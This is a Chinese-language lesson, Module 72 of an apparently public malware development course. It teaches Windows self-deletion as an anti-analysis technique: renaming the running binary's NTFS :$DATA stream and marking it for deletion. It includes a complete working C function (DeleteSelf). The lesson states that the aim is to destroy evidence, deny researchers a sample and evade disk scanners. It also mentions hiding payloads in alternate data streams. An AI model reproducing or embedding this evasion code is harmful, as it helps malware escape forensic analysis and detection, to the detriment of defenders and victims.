模块 72 - 反调试技术 - 自删除
恶意软件开发课程 - 反调试技术 - 自删除
模块 72 - 反调试技术 - 自删除#
反调试技术 - 自删除#
简介#
在上一模块中,我们讨论了多种阻碍研究人员和恶意软件分析师检查恶意软件的技术,以防止他们理解其功能或编写特征码。本模块将介绍一种高级的反调试技术:使恶意软件执行 自删除 (Self-Deletion)。
💡 初学者提示:为什么要“自删除”?
想象一下你是一个潜入银行的金库大盗:
- 常规操作:你偷完东西(执行完恶意代码)后,如果大摇大摆地从正门走出去并在雪地上留下脚印(在磁盘上留下可执行文件),警察很容易就能抓到你。
- 自删除操作:你在逃跑的过程中,脚下的冰雪(程序文件)会自动融化,或者你把自己的存在从物理世界中抹除。这样即使分析师发现系统出问题了,他们也找不到“凶手”的本体在哪里。
自删除的主要目的:
- 毁灭证据:防止安全研究员获取样本进行逆向分析。
- 降低检测率:一旦恶意代码执行完毕并自删除,磁盘扫描工具就无法发现它。
1. NTFS 文件系统基础#
在深入了解自删除之前,了解 新技术文件系统 (NTFS) 的工作原理至关重要。NTFS 是微软为 Windows 操作系统实现的主流专有文件系统。它通过提供文件和文件夹权限、压缩、加密、硬链接、符号链接和事务操作等功能,超越了其前身 FAT 和 exFAT。NTFS 还提供了增强的可靠性、性能和可扩展性。
NTFS 文件系统还支持 备用数据流 (Alternate Data Streams, ADS) ↗。在 NTFS 文件系统中,文件除了默认的流 :$DATA 之外,还可以有多个数据流。:$DATA 流存在于每个文件中,提供了访问文件的替代手段。
📚 知识扩展:什么是 NTFS 备用数据流 (ADS)?
类比理解: 想象一个房间(一个文件):
- 主房间:通常我们看到的房间门,进去后看到的是房间的主体内容。这是文件的默认流
:$DATA。- 暗门(ADS):墙壁上可能隐藏着一扇或多扇暗门,通向密室。这些暗门就是备用数据流。
ADS 的特点:
- 隐蔽性:在资源管理器中看文件大小,只会显示主数据流的大小。暗门里的东西不计入总大小。
- 语法:访问方式是
文件名:流名(例如test.exe:secret.txt)。- 用法:恶意软件常利用 ADS 来隐藏 Payload 或配置文件。
2. 删除正在运行的二进制文件#
在 Windows 上,通常无法删除当前正在运行的进程所属的二进制文件。因为删除文件通常要求没有其他进程正在使用它。
如果你直接尝试使用 DeleteFile WinAPI 来删除正在运行的程序,该 API 会失败并返回错误代码 ERROR_ACCESS_DENIED (拒绝访问)。
绕过这一限制的方法是:将默认的数据流 :$DATA 重命名为一个随机的名称(代表一个新的数据流)。 重命名后,删除这个新命名的流会导致二进制文件从磁盘中抹除,即使该程序此时依然在内存中运行。
💡 初学者提示:为什么“重命名”能绕过文件锁定?
类比理解: Windows 就像一个严格的门卫:
- 当程序运行时,门卫会死死锁住大门(文件名/主数据流),不准任何人拆除地基(删除文件)。
- 骚操作:我们不直接拆地基,而是告诉门卫:“这个地基不再叫‘地基’了,它现在叫‘杂物间’(重命名流)”。
- 此时,由于“地基”这个概念被移到了一个不被锁定的位置,我们就可以顺利地把这块不再被视为系统核心锁定的“杂物间”给拆掉(删除流)。
3. 获取文件句柄#
自删除过程的第一步是获取目标文件(即当前运行的程序本身)的句柄。我们可以使用 CreateFile WinAPI 来实现。为了获取删除权限,访问标志 (Access Flag) ↗ 必须设置为 DELETE。
4. 重命名数据流#
接下来,我们需要重命名 :$DATA 流。这可以通过调用 SetFileInformationByHandle ↗ WinAPI 并配合 FileRenameInfo 标志来实现。
SetFileInformationByHandle 的定义如下:
BOOL SetFileInformationByHandle(
[in] HANDLE hFile, // 要更改信息的文件句柄
[in] FILE_INFO_BY_HANDLE_CLASS FileInformationClass, // 指定要更改的信息类型的标志值
[in] LPVOID lpFileInformation, // 指向包含要更改的信息的缓冲区指针
[in] DWORD dwBufferSize // 缓冲区大小(字节)
);c当 FileInformationClass 参数设置为 FileRenameInfo 时,lpFileInformation 必须是一个指向 FILE_RENAME_INFO ↗ 结构的指针。
5. FILE_RENAME_INFO 结构体#
FILE_RENAME_INFO 结构体如下所示:
typedef struct _FILE_RENAME_INFO {
union {
BOOLEAN ReplaceIfExists;
DWORD Flags;
} DUMMYUNIONNAME;
BOOLEAN ReplaceIfExists;
HANDLE RootDirectory;
DWORD FileNameLength; // FileName 的大小(字节)
WCHAR FileName[1]; // 新的名称
} FILE_RENAME_INFO, *PFILE_RENAME_INFO;c我们需要设置的两个核心成员是 FileNameLength 和 FileName。根据微软的文档,定义新的 NTFS 文件流名称时,FileName 应该是一个以冒号 (:) 开头的宽字符字符串。
6. 删除数据流#
最后一步是删除重命名后的数据流,从而从磁盘抹除文件。为此,我们再次使用 SetFileInformationByHandle WinAPI,但这次使用 FileDispositionInfo 标志。该标志告诉系统在句柄关闭时标记该文件进行删除。
使用 FileDispositionInfo 标志时,lpFileInformation 必须指向一个 FILE_DISPOSITION_INFO ↗ 结构。
typedef struct _FILE_DISPOSITION_INFO {
BOOLEAN DeleteFile; // 设置为 TRUE 则标记文件进行删除
} FILE_DISPOSITION_INFO, *PFILE_DISPOSITION_INFO;c你只需要将 DeleteFile 成员简单地设置为 TRUE 即可。
7. 刷新文件数据流#
在第一次调用 SetFileInformationByHandle 重命名流之后,必须关闭旧句柄并重新通过 CreateFile 打开一个新句柄。这样做是为了“刷新”文件数据流,使新的句柄包含新命名的流信息。
8. 自删除完整实现代码#
DeleteSelf 函数演示了上述完整过程。
其中的 GetModuleFileNameW ↗ 用于获取当前可执行文件的全路径。如果第一个参数为 NULL,则获取当前进程的可执行文件路径。
// 新的数据流名称
#define NEW_STREAM L":Maldev"
BOOL DeleteSelf() {
WCHAR szPath [MAX_PATH * 2] = { 0 };
FILE_DISPOSITION_INFO Delete = { 0 };
HANDLE hFile = INVALID_HANDLE_VALUE;
PFILE_RENAME_INFO pRename = NULL;
const wchar_t* NewStream = (const wchar_t*)NEW_STREAM;
SIZE_T StreamLength = wcslen(NewStream) * sizeof(wchar_t);
SIZE_T sRename = sizeof(FILE_RENAME_INFO) + StreamLength;
// 1. 为 'FILE_RENAME_INFO' 结构分配足够的缓冲区
pRename = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename);
if (!pRename) {
printf("[!] HeapAlloc 失败,错误码 : %d \n", GetLastError());
return FALSE;
}
// 清理结构体
ZeroMemory(szPath, sizeof(szPath));
ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO));
//----------------------------------------------------------------------------------------
// 2. 标记文件为待删除(将在第二次 SetFileInformationByHandle 调用中使用)
Delete.DeleteFile = TRUE;
// 3. 在 'FILE_RENAME_INFO' 结构中设置新数据流的名称和长度
pRename->FileNameLength = (DWORD)StreamLength;
RtlCopyMemory(pRename->FileName, NewStream, StreamLength);
//----------------------------------------------------------------------------------------
// 4. 获取当前可执行文件的路径
if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) {
printf("[!] GetModuleFileNameW 失败,错误码 : %d \n", GetLastError());
return FALSE;
}
//----------------------------------------------------------------------------------------
// 【阶段 A:重命名】
// 5. 打开当前文件的句柄(必须具备 DELETE 权限)
hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [重命名阶段] 失败,错误码 : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[i] 正在将 :$DATA 重命名为 %s ...", NEW_STREAM);
// 6. 执行流重命名
if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, (DWORD)sRename)) {
printf("[!] SetFileInformationByHandle [重命名] 失败,错误码 : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[+] 完成 \n");
// 必须关闭此句柄
CloseHandle(hFile);
//----------------------------------------------------------------------------------------
// 【阶段 B:删除】
// 7. 重新打开文件句柄以刷新流状态
hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("[!] CreateFileW [删除阶段] 失败,错误码 : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[i] 正在删除文件 ...");
// 8. 标记在句柄关闭后删除文件
if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) {
printf("[!] SetFileInformationByHandle [删除] 失败,错误码 : %d \n", GetLastError());
return FALSE;
}
wprintf(L"[+] 完成 \n");
// 9. 关闭句柄后,文件将从磁盘物理消失
CloseHandle(hFile);
//----------------------------------------------------------------------------------------
// 释放缓冲区
HeapFree(GetProcessHeap(), 0, pRename);
return TRUE;
}c9. 演示#
下图展示了 SelfDeletion.exe 进程在运行状态下,其二进制文件已成功从磁盘抹除的效果。

🎯 总结#
在本模块中,我们学习了:
- NTFS ADS 利用: 理解了备用数据流如何用于绕过 Windows 的文件锁定机制。
- 句柄操作流程: 掌握了重命名、关闭句柄、重新打开并标记删除的严谨逻辑。
- API 深度应用: 学习了
SetFileInformationByHandle在元数据操作中的核心作用。
📚 下一步学习
下一个模块将探讨 Module 73 - Anti-Virtual Environments。我们将学习如何探测运行环境是否为虚拟机(VMware, VirtualBox 等)。